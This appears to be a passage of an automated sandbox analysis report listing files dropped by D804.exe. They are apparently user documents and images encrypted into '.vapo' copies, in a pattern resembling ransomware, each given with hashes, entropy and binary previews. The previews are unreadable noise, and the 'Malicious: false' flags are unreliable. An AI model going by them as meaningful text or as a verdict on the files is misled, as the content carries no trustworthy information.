Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855238719803022
Encrypted:	false
SSDEEP:	24:Tpu57DQLv+KPDGbysa8RKXjAjbrBpDAh3QQAhE38R6mkbxWlsJ55Ma+bD:Tp27D8mK7Gbyp8oXEU3QQOg8R6mkv55m
MD5:	7C09B37C8D8856A0A748A29725F768EB
SHA1:	39A3C2A34801BBE9C19D3BBFD73DD865871C024A
SHA-256:	A42A1FFCD90513B4E48FDD199E33D34D4558DB89F4D986EE2C114AAC32D84865
SHA-512:	2424BA6C2A551013E9800A95A5F6D6F1DCE0E0E691DD30925319AEDAC4FBD3233ED50C1C06EC7873E748A7342620AF5866B9B9EA75787E367E379589CA7B87D5
Malicious:	false
Reputation:	unknown
Preview:	NWCXB......k.x.......&^a..rc9.]{.yS.M..}/..E.3.....s..._......k.O.R.S.~c....{.?D.f.....;)W.A...rHM}..t..7..~..2....;.&]..I.Tc....q.E..@..[...,[......s...b]..Z.....g..l...."..u; &?.Q.EQ1....H....u.GK]..I.!....e....@.K.w..V...t..]...._.lC)..r.E.r.so..i=.Y-S.J.L."..h.6\XxL\..9...yt[X.....I.........w..'.N.U...a.%..(..:...@..T'..\|....=.8\.2.....G..Ft..f.....v...=..\..W=b...<@.6......x......G....q...^~.....u?;u...{.D".l....N.h\...{.!)`.&.t....5J.S.5....e...M...}S....e...=..z..%..A.e3.........'.w...R...N]....{.\.#k.....%&.V..l..\|.N..7...9.~.S..k\|.oa.V..\|tO...(3x&..Z....D...t...../...0.5.sD<...'_.v(h.(.as...H.Q...L[...V..8.\|.....RZ"...b...0kV..b..g.[..(....$.z..l;........!..F0.n.NX.J&.J.Vx.)..&<.;.z{h.(.....J\|.......sa..$.-........f..,g;m!.t.D,.+."*....a..F+.5v........Y.......K.\.c..w..gk..Iv...j.Mc..%..P......+..z_M.{....^[<.[..?`.3 Qu.@._.l.$,`..=..+.k....pk.....V+.o.!....d.I.".)E..:..w.r..+.).@.w..@..a.{7...R..$0'n.+...7@o.@.....$.

C:\Users\user\Documents\NWCXBPIUYI\VWDFPKGDUF.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849573723012069
Encrypted:	false
SSDEEP:	24:qzkN5U31UjwpvK9fXLr6KBiDupNpgLknZ5UFNQILw6QctLK6+RT+bD:SkXU31UJv/DBVTpNnZ5UTQILw6HhCRwD
MD5:	01EA6705305948845123BFF0C65443AF
SHA1:	6F291C3825283D76BD704DA07057C4E9E7AB29E0
SHA-256:	3E7EB24FF7A8E545A968587A58E74DACC5926E6AF7243A4C1B0DC543947B9D6B
SHA-512:	529096AAF1CD5DA059165325518FDA5C14EF6D2C3A656ED9C4AA79CDC35964DBFB5028661C02A5F1B4413C98DB0616047323B32A8CC69C012AF91EE93378FC99
Malicious:	false
Reputation:	unknown
Preview:	VWDFP...i....u...6.a^.{.>.#.d.t.N\Y..GG..h.1.._p1..C..5_<..R..........g,..^%...m...e.....].y...........\m.d.C.m.>u."....8.......G.t~..z.K.....S.".%&_.....l.6z.h.i.........'..X..i...v.X..mKD.....arWC..O...3...r...(..I..Tq.^6...)..K^,.fK../&.fa.....`p;zR.M.o"^...t,....,.YMA.2j..{........s..<5......v.K....`.[)xEC....Q,.....u.q@..$.Z8B..A...[.[...9o.."AF)..b.o.WK...r..c.x&...+..O V=Y...a.S..L.o..?{:.A..j &..^U."....m.....w..-..@)R..d..c..$...uT..t..5&~.b..)rh.....2..f.....-T..X(5Ou.4....W^....xl....wp....!i_uE......\|..i."..3..9.}....=V..D.W.E0...y..Z%..Nmz....#.2....2...>...,I^....U...yj.#/xl$..{..-.X..y....@.8.\..:..eak..>(.f.V'.p}&.A.<...b....j..d...8..N.....a....r._6...O=eH....W.,..$OL....Xm...bh..4......O ..>^~.x.w.Z..s(....rn ..:Z[.&..aDZ6...k.M.....7w...q1.......nQ....GW...:..4P.q.2-...E.C......$...5,...5..8.}.$.Z...XQ.!.....XA.8Y...n.Hu..(`R.Gs.....()K.C..,.)..J.........[.5.v.`..jR......$..;..y.s`...."...k!M.D.8.......Z*.......m.."?J

C:\Users\user\Documents\NWCXBPIUYI\VWDFPKGDUF.pdf.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849573723012069
Encrypted:	false
SSDEEP:	24:qzkN5U31UjwpvK9fXLr6KBiDupNpgLknZ5UFNQILw6QctLK6+RT+bD:SkXU31UJv/DBVTpNnZ5UTQILw6HhCRwD
MD5:	01EA6705305948845123BFF0C65443AF
SHA1:	6F291C3825283D76BD704DA07057C4E9E7AB29E0
SHA-256:	3E7EB24FF7A8E545A968587A58E74DACC5926E6AF7243A4C1B0DC543947B9D6B
SHA-512:	529096AAF1CD5DA059165325518FDA5C14EF6D2C3A656ED9C4AA79CDC35964DBFB5028661C02A5F1B4413C98DB0616047323B32A8CC69C012AF91EE93378FC99
Malicious:	false
Reputation:	unknown
Preview:	VWDFP...i....u...6.a^.{.>.#.d.t.N\Y..GG..h.1.._p1..C..5_<..R..........g,..^%...m...e.....].y...........\m.d.C.m.>u."....8.......G.t~..z.K.....S.".%&_.....l.6z.h.i.........'..X..i...v.X..mKD.....arWC..O...3...r...(..I..Tq.^6...)..K^,.fK../&.fa.....`p;zR.M.o"^...t,....,.YMA.2j..{........s..<5......v.K....`.[)xEC....Q,.....u.q@..$.Z8B..A...[.[...9o.."AF)..b.o.WK...r..c.x&...+..O V=Y...a.S..L.o..?{:.A..j &..^U."....m.....w..-..@)R..d..c..$...uT..t..5&~.b..)rh.....2..f.....-T..X(5Ou.4....W^....xl....wp....!i_uE......\|..i."..3..9.}....=V..D.W.E0...y..Z%..Nmz....#.2....2...>...,I^....U...yj.#/xl$..{..-.X..y....@.8.\..:..eak..>(.f.V'.p}&.A.<...b....j..d...8..N.....a....r._6...O=eH....W.,..$OL....Xm...bh..4......O ..>^~.x.w.Z..s(....rn ..:Z[.&..aDZ6...k.M.....7w...q1.......nQ....GW...:..4P.q.2-...E.C......$...5,...5..8.}.$.Z...XQ.!.....XA.8Y...n.Hu..(`R.Gs.....()K.C..,.)..J.........[.5.v.`..jR......$..;..y.s`...."...k!M.D.8.......Z*.......m.."?J

C:\Users\user\Documents\NYMMPCEIMA.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8465873366028145
Encrypted:	false
SSDEEP:	24:YEUtejNVv92YJcQfTcjNNI9SaXKOysFVjlqUn7NUGYxlAljqpcOLsBnvI3i+Qkxr:YEaezvNcgT1cCegVn7NUPxlAJqpc1Rof
MD5:	DAC00A8729D40A7CB7338663D818A730
SHA1:	95DFBB956A09477BC95CE3D68AF2EA49CF3C8642
SHA-256:	611B35CAC978F7125906F33BA9364BA47F0D0538171A25145DE8C1164FCEBD80
SHA-512:	6F477D6A6247D47314F0366DCBEAB91531F1787E2A8F6141AC56D0EDD085E2B9A061E4A7FDCE49E74CEA6A18C9509FA9D7E4C15A529ADAA62036AB44EEF5BA6E
Malicious:	false
Reputation:	unknown
Preview:	NYMMP....^.CN...K....R.F..e..H.........=t......3.L.r..k.....J..1.....\T....Q.W..:.5.._..._@.25. =...v..s..:...A.....28.Lkfp.]...9.q...>.............r.-.8....'.$..U.].(9.......o.09....B...B.C...?.FcA...pyl(.f..../q.u..r..~...p....'.w.wG.............r....z..G{..e...jj..).IML.A9;...z.Bd.l.....,.....FX.#\|...y...SK..N.{_x..b.t........0...C..Y...3qi..X1\.0Q%..-..-...........).b.. E.&...EfY..b8..V.'.).>......h..h.r..@.u...+!...8....].g.....M..`.,....!....0..7.D..h.r0cL.gc......O.-..jY...a.z.GU..n.:..@.d...-0.C.K..~x3......<.y.0.C....r)...... Q...e..i7..P....I...#.......,/...s.8./..{...rK.}^.V.%uXF:...d.Gr.....9..V.;S4E'..j.q.v. ..P..Ti1...B..'1..}f.!..........3$.os4H.Y(...%.}......,..j......".j.......FL.......V`........A %..UUf.q..%....&...]...&....&Vu.[.8..f..;..x8..8B.....J.k......g.u8.....u..~%..kA.6..`....q<.. u.xP.9d..8.w(T..T....0.....v2q.y...f}...jP..e..@(.."....{..W.&.v.........(,...Y.#ZK....\|..2..-q....}.W..9.8>....

C:\Users\user\Documents\NYMMPCEIMA.docx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8465873366028145
Encrypted:	false
SSDEEP:	24:YEUtejNVv92YJcQfTcjNNI9SaXKOysFVjlqUn7NUGYxlAljqpcOLsBnvI3i+Qkxr:YEaezvNcgT1cCegVn7NUPxlAJqpc1Rof
MD5:	DAC00A8729D40A7CB7338663D818A730
SHA1:	95DFBB956A09477BC95CE3D68AF2EA49CF3C8642
SHA-256:	611B35CAC978F7125906F33BA9364BA47F0D0538171A25145DE8C1164FCEBD80
SHA-512:	6F477D6A6247D47314F0366DCBEAB91531F1787E2A8F6141AC56D0EDD085E2B9A061E4A7FDCE49E74CEA6A18C9509FA9D7E4C15A529ADAA62036AB44EEF5BA6E
Malicious:	false
Reputation:	unknown
Preview:	NYMMP....^.CN...K....R.F..e..H.........=t......3.L.r..k.....J..1.....\T....Q.W..:.5.._..._@.25. =...v..s..:...A.....28.Lkfp.]...9.q...>.............r.-.8....'.$..U.].(9.......o.09....B...B.C...?.FcA...pyl(.f..../q.u..r..~...p....'.w.wG.............r....z..G{..e...jj..).IML.A9;...z.Bd.l.....,.....FX.#\|...y...SK..N.{_x..b.t........0...C..Y...3qi..X1\.0Q%..-..-...........).b.. E.&...EfY..b8..V.'.).>......h..h.r..@.u...+!...8....].g.....M..`.,....!....0..7.D..h.r0cL.gc......O.-..jY...a.z.GU..n.:..@.d...-0.C.K..~x3......<.y.0.C....r)...... Q...e..i7..P....I...#.......,/...s.8./..{...rK.}^.V.%uXF:...d.Gr.....9..V.;S4E'..j.q.v. ..P..Ti1...B..'1..}f.!..........3$.os4H.Y(...%.}......,..j......".j.......FL.......V`........A %..UUf.q..%....&...]...&....&Vu.[.8..f..;..x8..8B.....J.k......g.u8.....u..~%..kA.6..`....q<.. u.xP.9d..8.w(T..T....0.....v2q.y...f}...jP..e..@(.."....{..W.&.v.........(,...Y.#ZK....\|..2..-q....}.W..9.8>....

C:\Users\user\Documents\NYMMPCEIMA.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842221052266498
Encrypted:	false
SSDEEP:	24:l9RQTHheFS9Len+Gxh/t5ANVDCmQvL3RRlVaCIX5bD:nmheWKnzt5icmCDVa/pD
MD5:	523BE4075BA56284D10DEA3ABC63F09E
SHA1:	3FFD4E6244041212CC38C952771DD5D5EA58B6D1
SHA-256:	A33FAF566C4024EAA7C6B4D554279379504740FB442C700CB1D35168BF98B979
SHA-512:	741D924A02043C2DCC923F2B1C5449BDD99390BF9C9D38CA136EA9768DE05E00ACEE45C05F8A5D69477B25F97D8A10640F00856A029527C689262C7151945C82
Malicious:	false
Reputation:	unknown
Preview:	NYMMP........_.ha.....7.4.[...~...7.o.3q..Vg.~28.Y..1.)_.V.ct....V..k.....>b.".H,...m..hS....t%.i.l.%..Z..._...P$....._..>+.z....x.gU..........l..v4......O}....".Jr.#.Q.Q.mOy.}..X.<N.c...6^?...\.4..6.....<..n."...B.....M.....:].}E.P.;{.C...2`b1.ge0I...n@'....T...]Kh....=...Bu...{.jw.kc./.n..7.".(..x%.O....0..Fc..H.q..'3N..L...85\..8.....}.......qw..SbO..63.........2.......gu.^...E..4g.S[....m.\.szr.0..p....p.w.S/Ni.....U..b..TT...p-..+.F..a...V.&....#?O.F.{7\..A9}{.<%($.f'.2&e.(.......i..c.S...........-.#..%=`..en...F.}B.M....uO...:b...i...So.E0....!...>+..5Zc%.\..#...)e...u.;..G=.......j.ZKd.b1D........n..7.<.....AP...H:6..j......\..g.P..8X...qGH....U.r....B$............5.x1vT..n.....:...D.\|...U..}@~....[u.'.6d....R..P,..n.....P....N9q&..3.<'CH.B.j.._.....hc..@x.t...5.y..vD..f.P......V.....;.......f...".6..U.;..]U+...{I.8c.X....lT&f.;..?..$rr...Q..[i~.s..4M..$..B2..d.5..P..w.3.o2....f%..~dZ..B6..[.........j..[iC>(...%.4...Z...S........k

C:\Users\user\Documents\NYMMPCEIMA.xlsx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842221052266498
Encrypted:	false
SSDEEP:	24:l9RQTHheFS9Len+Gxh/t5ANVDCmQvL3RRlVaCIX5bD:nmheWKnzt5icmCDVa/pD
MD5:	523BE4075BA56284D10DEA3ABC63F09E
SHA1:	3FFD4E6244041212CC38C952771DD5D5EA58B6D1
SHA-256:	A33FAF566C4024EAA7C6B4D554279379504740FB442C700CB1D35168BF98B979
SHA-512:	741D924A02043C2DCC923F2B1C5449BDD99390BF9C9D38CA136EA9768DE05E00ACEE45C05F8A5D69477B25F97D8A10640F00856A029527C689262C7151945C82
Malicious:	false
Reputation:	unknown
Preview:	NYMMP........_.ha.....7.4.[...~...7.o.3q..Vg.~28.Y..1.)_.V.ct....V..k.....>b.".H,...m..hS....t%.i.l.%..Z..._...P$....._..>+.z....x.gU..........l..v4......O}....".Jr.#.Q.Q.mOy.}..X.<N.c...6^?...\.4..6.....<..n."...B.....M.....:].}E.P.;{.C...2`b1.ge0I...n@'....T...]Kh....=...Bu...{.jw.kc./.n..7.".(..x%.O....0..Fc..H.q..'3N..L...85\..8.....}.......qw..SbO..63.........2.......gu.^...E..4g.S[....m.\.szr.0..p....p.w.S/Ni.....U..b..TT...p-..+.F..a...V.&....#?O.F.{7\..A9}{.<%($.f'.2&e.(.......i..c.S...........-.#..%=`..en...F.}B.M....uO...:b...i...So.E0....!...>+..5Zc%.\..#...)e...u.;..G=.......j.ZKd.b1D........n..7.<.....AP...H:6..j......\..g.P..8X...qGH....U.r....B$............5.x1vT..n.....:...D.\|...U..}@~....[u.'.6d....R..P,..n.....P....N9q&..3.<'CH.B.j.._.....hc..@x.t...5.y..vD..f.P......V.....;.......f...".6..U.;..]U+...{I.8c.X....lT&f.;..?..$rr...Q..[i~.s..4M..$..B2..d.5..P..w.3.o2....f%..~dZ..B6..[.........j..[iC>(...%.4...Z...S........k

C:\Users\user\Documents\NYMMPCEIMA\GLTYDMDUST.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829821274035406
Encrypted:	false
SSDEEP:	24:/ILncHQt+WitKIDEvj/CgoO8iKmzbn0e2CmQRZFaXEP7bD:/IzJt/IDO/CF+b9mQRZMXaD
MD5:	5460423D8895E22078A3D548087D5F8F
SHA1:	8BF7A0CB807ADC00F712C9B3CAB8FF97A9113829
SHA-256:	793AC3B2347DF03A8AC2EFBD7923BE6D8723B139CE6DAEBEBF1E92D323E30158
SHA-512:	847328F61E41B7A494880BB74F33F02451CC37C6F383DA4CEBFE141128402EEBD52A8C7CC8F137F56D88E972B0851B19D19AEBBA7048CDB3B3D634BFE0980643
Malicious:	false
Reputation:	unknown
Preview:	GLTYD.=]....1!.p.....w.'.v.Pk...R^QX...J....K...._..c.-....2..."!.<....)...8..T...&<f...f.aE>......9.".0......Td{.....b\|. Qv...[...u._../.....k6.[.d.K!...4-fL...wi.V.]...V>....qQa..=....[l.......J..7.j..#..x...."..D..J2.2.'.4.E......P.;..w...f.tf....E.h.)`-4..V=^0N._pS5..v....,..07.1...Su.......]......x.?{.i.....bSB..9..~I..o.]..I.aQ.0.....>......_....Y5..c@H...y.oe...../i.9.h.6..W..!\.A.a...\o;...\|.....j.[.E.RM.MuT..>.....$...5..x.7.Ly...{..a.......,..../..S............s,.....L...k=.k,..[...L.o..H(.F.......=.....Vv`...V.Y\|..#..\|......$>.0.i>..C.a.2{..n...Qa.qCVq..Q.N_j..Sx\...l).X.TS].....=....E![.3..T....B..e..7Ksct$..$f.+.o=e..G7....C...!...V...\1\......0.U^.O.a.."$.J0j@.u.\....$%.H...w%.S..y.}.,......WC.?..dW1...Z.C&{u........{...x}....vm..=..,..........G....@....E.T.k..a..C...>....B...\..:.\|;..)..<..JH..E.......A._1l.?...a.8P]....U.cO.c.C..}"....y4....Q..w.....O.6.vH.z\|L._.T..;....,"..0.z06ob#...L...So..3.J.wC.Tt<.3.<...3...Z..e]..S]

C:\Users\user\Documents\NYMMPCEIMA\GLTYDMDUST.pdf.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.829821274035406
Encrypted:	false
SSDEEP:	24:/ILncHQt+WitKIDEvj/CgoO8iKmzbn0e2CmQRZFaXEP7bD:/IzJt/IDO/CF+b9mQRZMXaD
MD5:	5460423D8895E22078A3D548087D5F8F
SHA1:	8BF7A0CB807ADC00F712C9B3CAB8FF97A9113829
SHA-256:	793AC3B2347DF03A8AC2EFBD7923BE6D8723B139CE6DAEBEBF1E92D323E30158
SHA-512:	847328F61E41B7A494880BB74F33F02451CC37C6F383DA4CEBFE141128402EEBD52A8C7CC8F137F56D88E972B0851B19D19AEBBA7048CDB3B3D634BFE0980643
Malicious:	false
Reputation:	unknown
Preview:	GLTYD.=]....1!.p.....w.'.v.Pk...R^QX...J....K...._..c.-....2..."!.<....)...8..T...&<f...f.aE>......9.".0......Td{.....b\|. Qv...[...u._../.....k6.[.d.K!...4-fL...wi.V.]...V>....qQa..=....[l.......J..7.j..#..x...."..D..J2.2.'.4.E......P.;..w...f.tf....E.h.)`-4..V=^0N._pS5..v....,..07.1...Su.......]......x.?{.i.....bSB..9..~I..o.]..I.aQ.0.....>......_....Y5..c@H...y.oe...../i.9.h.6..W..!\.A.a...\o;...\|.....j.[.E.RM.MuT..>.....$...5..x.7.Ly...{..a.......,..../..S............s,.....L...k=.k,..[...L.o..H(.F.......=.....Vv`...V.Y\|..#..\|......$>.0.i>..C.a.2{..n...Qa.qCVq..Q.N_j..Sx\...l).X.TS].....=....E![.3..T....B..e..7Ksct$..$f.+.o=e..G7....C...!...V...\1\......0.U^.O.a.."$.J0j@.u.\....$%.H...w%.S..y.}.,......WC.?..dW1...Z.C&{u........{...x}....vm..=..,..........G....@....E.T.k..a..C...>....B...\..:.\|;..)..<..JH..E.......A._1l.?...a.8P]....U.cO.c.C..}"....y4....Q..w.....O.6.vH.z\|L._.T..;....,"..0.z06ob#...L...So..3.J.wC.Tt<.3.<...3...Z..e]..S]

C:\Users\user\Documents\NYMMPCEIMA\HMPPSXQPQV.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862842667013848
Encrypted:	false
SSDEEP:	24:kVUvOkhy6J486u2q3jZvbigVX5buvAMHV9QbZuA6HJeJzR+O4CRIZPbD:EQ3Ji7qzZjigVpqv4bUAwwJzITxD
MD5:	E780398D649E0E93441DE50F5B48ACBC
SHA1:	16ADE0742BF771A1A0644B3582665D121B999482
SHA-256:	56D0DA4B027EA476BBC84BBBC72390B0BA9FFDF0E66B2810D62587B6298E9E6F
SHA-512:	6552840359FA3E72517B4284B75AD2E15DA593160805C15451FE3896360012E25333731FF92C8C389FE9CD673D1694393351994F02023D391FF1543A89F9B1CB
Malicious:	false
Reputation:	unknown
Preview:	HMPPS...P]._.."...C(c05h........geEX%.............w.KN.+V.....A/e...@:.%m.....Q..zS..(.....N....c........c5.w.....S...h.'U..u$53cs.0....E$k.=>.x.Q.G.b._[..7......~..=..[.1)..A...l.\5v9._.....}.8...7.......\.t.P..#.ks..d.B.'.8{/.........).Q.E.c.M~X.16..4.wn..[.)@.\K.j..0...X..,x.Q.)2oj...^..2..!&.^........ .u.Vf...'......D.(g...HvT.?A.&2..@f.j.....1c....-8.u...O.\...d...>../...4......V.....)J......S.W.....A.66..]5mm....w...a2..%..83..e..%^.AV....o.t.+.Iv4.1l....kT...Q.v.B...'.........4&.......B.....h..:....&<-<.....J..;Q.......{.....y...H1..:......h{....&a.......@^.3.1>........R.e,d `S...O5......F.z!.zR._...}..&.../\.._J.l.....f..~[.a...C...A$zY..mG}..H8.."..{...Q'5fVu.....R..$....e..O..Y.EB...*C.....&..5d.....PE..\|......&..lL..U..8I.s6...w.g.....&..........S;......m)y..\BI..5D.......}...5.oQ..b_E.....!`.WRn..s.(.....E..,6x.......l.-........6.Ut....%.......'.=P...W.."{L....u2.C.a.BW.KY..`..........X.9T......2).:.....N...zB.....M.}S....Z..

C:\Users\user\Documents\NYMMPCEIMA\HMPPSXQPQV.png.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862842667013848
Encrypted:	false
SSDEEP:	24:kVUvOkhy6J486u2q3jZvbigVX5buvAMHV9QbZuA6HJeJzR+O4CRIZPbD:EQ3Ji7qzZjigVpqv4bUAwwJzITxD
MD5:	E780398D649E0E93441DE50F5B48ACBC
SHA1:	16ADE0742BF771A1A0644B3582665D121B999482
SHA-256:	56D0DA4B027EA476BBC84BBBC72390B0BA9FFDF0E66B2810D62587B6298E9E6F
SHA-512:	6552840359FA3E72517B4284B75AD2E15DA593160805C15451FE3896360012E25333731FF92C8C389FE9CD673D1694393351994F02023D391FF1543A89F9B1CB
Malicious:	false
Reputation:	unknown
Preview:	HMPPS...P]._.."...C(c05h........geEX%.............w.KN.+V.....A/e...@:.%m.....Q..zS..(.....N....c........c5.w.....S...h.'U..u$53cs.0....E$k.=>.x.Q.G.b._[..7......~..=..[.1)..A...l.\5v9._.....}.8...7.......\.t.P..#.ks..d.B.'.8{/.........).Q.E.c.M~X.16..4.wn..[.)@.\K.j..0...X..,x.Q.)2oj...^..2..!&.^........ .u.Vf...'......D.(g...HvT.?A.&2..@f.j.....1c....-8.u...O.\...d...>../...4......V.....)J......S.W.....A.66..]5mm....w...a2..%..83..e..%^.AV....o.t.+.Iv4.1l....kT...Q.v.B...'.........4&.......B.....h..:....&<-<.....J..;Q.......{.....y...H1..:......h{....&a.......@^.3.1>........R.e,d `S...O5......F.z!.zR._...}..&.../\.._J.l.....f..~[.a...C...A$zY..mG}..H8.."..{...Q'5fVu.....R..$....e..O..Y.EB...*C.....&..5d.....PE..\|......&..lL..U..8I.s6...w.g.....&..........S;......m)y..\BI..5D.......}...5.oQ..b_E.....!`.WRn..s.(.....E..,6x.......l.-........6.Ut....%.......'.=P...W.."{L....u2.C.a.BW.KY..`..........X.9T......2).:.....N...zB.....M.}S....Z..

C:\Users\user\Documents\NYMMPCEIMA\LFOPODGVOH.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86922980420908
Encrypted:	false
SSDEEP:	24:qTcepswx/V4aa1qAXruCtPTmEBlWgnWAbXUU4Yq3yCLWbD:adew/BakAXhta6lznxbf4YR3D
MD5:	505C841DFB5619133954B4F49D3887BE
SHA1:	D18D65DFE0BB2DE26206099E69F55808389D0D87
SHA-256:	41E7D39EC607E2522A503BD8DEA7C7B3D6B87D786813F0CE70A102F46AC3E551
SHA-512:	974895B62078F1204E0C44A11DB20CC711F4F55D52885E4D7D86C35B5804D01811751AE123EBB93E1E71586CCD83800B380C4DE7E5CFF5DF922C264AE15846CA
Malicious:	false
Reputation:	unknown
Preview:	LFOPOh....y....7.'l&..A'.j<.....2..Y)(...:n.i..<.-`..dhvN1....R...:.@..cr.`...l.......2.K.'...N....1..d8..b....B.j......_.."N.n......q...D'.....0.&d....+.W..1.>.........!`.I_\Q..e)......;.'..k[..rf....A.pO..nU.0..x.@.u..;.~.o...n..U..v .J....7U9........l...7.z...tlg..I.L.JN.S.&<.....7...3?C..G.`........y..I:1n...,t..Y.U.9...V.x.\{SIY. ....V,6.c......0x.....Y...ZZ..9I..zS..."J07.W...... './ozM0.......m.LG...Y3..`.S..t.j....n..E.e.{......~.v.._.q[....x.M.....y.L....n..I.H..H.N3x...ujb...s\...2./.@ic..j[.)g.o)V.....UT...,....T..r..V........zuA...=.....=.x..j.....U$.....I...a^u.'..#(....Rwb%.2H{...D>3..V.9..6.P....4..s..}....h..B.4...r.. ...Q.'_y...V.4.p..^"`[zk.<fJ.5N.4@.`h.[[ib..`.y-fD_.k;L+...F\P..".....x.T.x..`e.P9-..I..GBNq.."..@4.Dkd..(.P...6.........R...h.."5E....%M+.=.W2p.<.....,.O.k./.U..vQ..U.G1W....4...W.......b...9..bM.:.b...xm.....6.2.7I2`.F._....~..4jy.K,J.=.S]....EY.....x..z..O!.......<f^.$[.V.V.+=.p...Z..n.g*K5.5..........;..

C:\Users\user\Documents\NYMMPCEIMA\LFOPODGVOH.jpg.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86922980420908
Encrypted:	false
SSDEEP:	24:qTcepswx/V4aa1qAXruCtPTmEBlWgnWAbXUU4Yq3yCLWbD:adew/BakAXhta6lznxbf4YR3D
MD5:	505C841DFB5619133954B4F49D3887BE
SHA1:	D18D65DFE0BB2DE26206099E69F55808389D0D87
SHA-256:	41E7D39EC607E2522A503BD8DEA7C7B3D6B87D786813F0CE70A102F46AC3E551
SHA-512:	974895B62078F1204E0C44A11DB20CC711F4F55D52885E4D7D86C35B5804D01811751AE123EBB93E1E71586CCD83800B380C4DE7E5CFF5DF922C264AE15846CA
Malicious:	false
Reputation:	unknown
Preview:	LFOPOh....y....7.'l&..A'.j<.....2..Y)(...:n.i..<.-`..dhvN1....R...:.@..cr.`...l.......2.K.'...N....1..d8..b....B.j......_.."N.n......q...D'.....0.&d....+.W..1.>.........!`.I_\Q..e)......;.'..k[..rf....A.pO..nU.0..x.@.u..;.~.o...n..U..v .J....7U9........l...7.z...tlg..I.L.JN.S.&<.....7...3?C..G.`........y..I:1n...,t..Y.U.9...V.x.\{SIY. ....V,6.c......0x.....Y...ZZ..9I..zS..."J07.W...... './ozM0.......m.LG...Y3..`.S..t.j....n..E.e.{......~.v.._.q[....x.M.....y.L....n..I.H..H.N3x...ujb...s\...2./.@ic..j[.)g.o)V.....UT...,....T..r..V........zuA...=.....=.x..j.....U$.....I...a^u.'..#(....Rwb%.2H{...D>3..V.9..6.P....4..s..}....h..B.4...r.. ...Q.'_y...V.4.p..^"`[zk.<fJ.5N.4@.`h.[[ib..`.y-fD_.k;L+...F\P..".....x.T.x..`e.P9-..I..GBNq.."..@4.Dkd..(.P...6.........R...h.."5E....%M+.=.W2p.<.....,.O.k./.U..vQ..U.G1W....4...W.......b...9..bM.:.b...xm.....6.2.7I2`.F._....~..4jy.K,J.=.S]....EY.....x..z..O!.......<f^.$[.V.V.+=.p...Z..n.g*K5.5..........;..

C:\Users\user\Documents\NYMMPCEIMA\NWCXBPIUYI.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828745302240843
Encrypted:	false
SSDEEP:	24:3Fe0pvrtAx+lu63sROX0dr/HbCvQnn15amYSFwfqBYWwM0whTwAbD:380pDtA8V3s0X0dvbCMDSYwfqGzM0wOy
MD5:	BE97474C647DA7649AAE9918C3E3305F
SHA1:	8A17E4A8AA2FE954033BAC9053F64B61D63DC07B
SHA-256:	0F46CE558B722480CC7C2D822AFC36FD58A68368291CF72D6003FF6488740A78
SHA-512:	807C77CE0BB4822189550F4B7278805599C8E5E0CFF94B7DCF3C3D6C0055415336C2FFAE4357D3A8480B1B66199D6566B386F93904C57374593328D4F9616E6C
Malicious:	false
Reputation:	unknown
Preview:	NWCXBE..V/.d\V.W.l.....d9...(&z...f.ri...jT.e...Y/..Wo....Fj="...K.....{.>....P]..M..nt.u.(7Ji....[l.p.n..a..V.S...H..p.-.,@...c..c.z.z..."y.u.Rk.....'o........R..).!..Rr...X....>.C....e.X0$[....z"r....&.}..U..P.N.Ma...+l$T.(3.q3;.....#Z...6.g......X...!...Q`8N4U9....v...r.47..........x.Z..C<../2.5....._..)..p.6..B.}.G.".t.G..N4.=....&..[P6!...T.dp.U..B...".....O.jw8...iS....3L.6>..n.....J..k....'V.NyW..O.....4#........W.........D..i....q9#...........I...........]7./.......S...H1....f...".!>/.q{.U...r..-.gFY%..2=.....-..6!.k... ....\|....V.%.TO.)...%.....'{g.....rH;Q..H^Fo<.\...]...i0v.D...(...8.i..,.36.q....JF..)pt.9.u2h..-...)..J.....9...7...l.O..->Vy.3...U..x.^.....0.H#......\|7h.n....#.D...EC..N$...l... ......j.......,Ve!.cu.F.."V..}].d...X...........@.<.y..sjXY9s.7...!(.y...B..7P.pm.zJ.O..b....5E.-....}.t..vE.Qb.o...Wgm...1B0%H.K3.Q4.[......q.....6..H.../.0.qCY..W.!...*.[..y.J._....>D.::.....2.\...}-.,....O..&Q0@n-...(.^+...\|...W

C:\Users\user\Documents\NYMMPCEIMA\NWCXBPIUYI.xlsx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828745302240843
Encrypted:	false
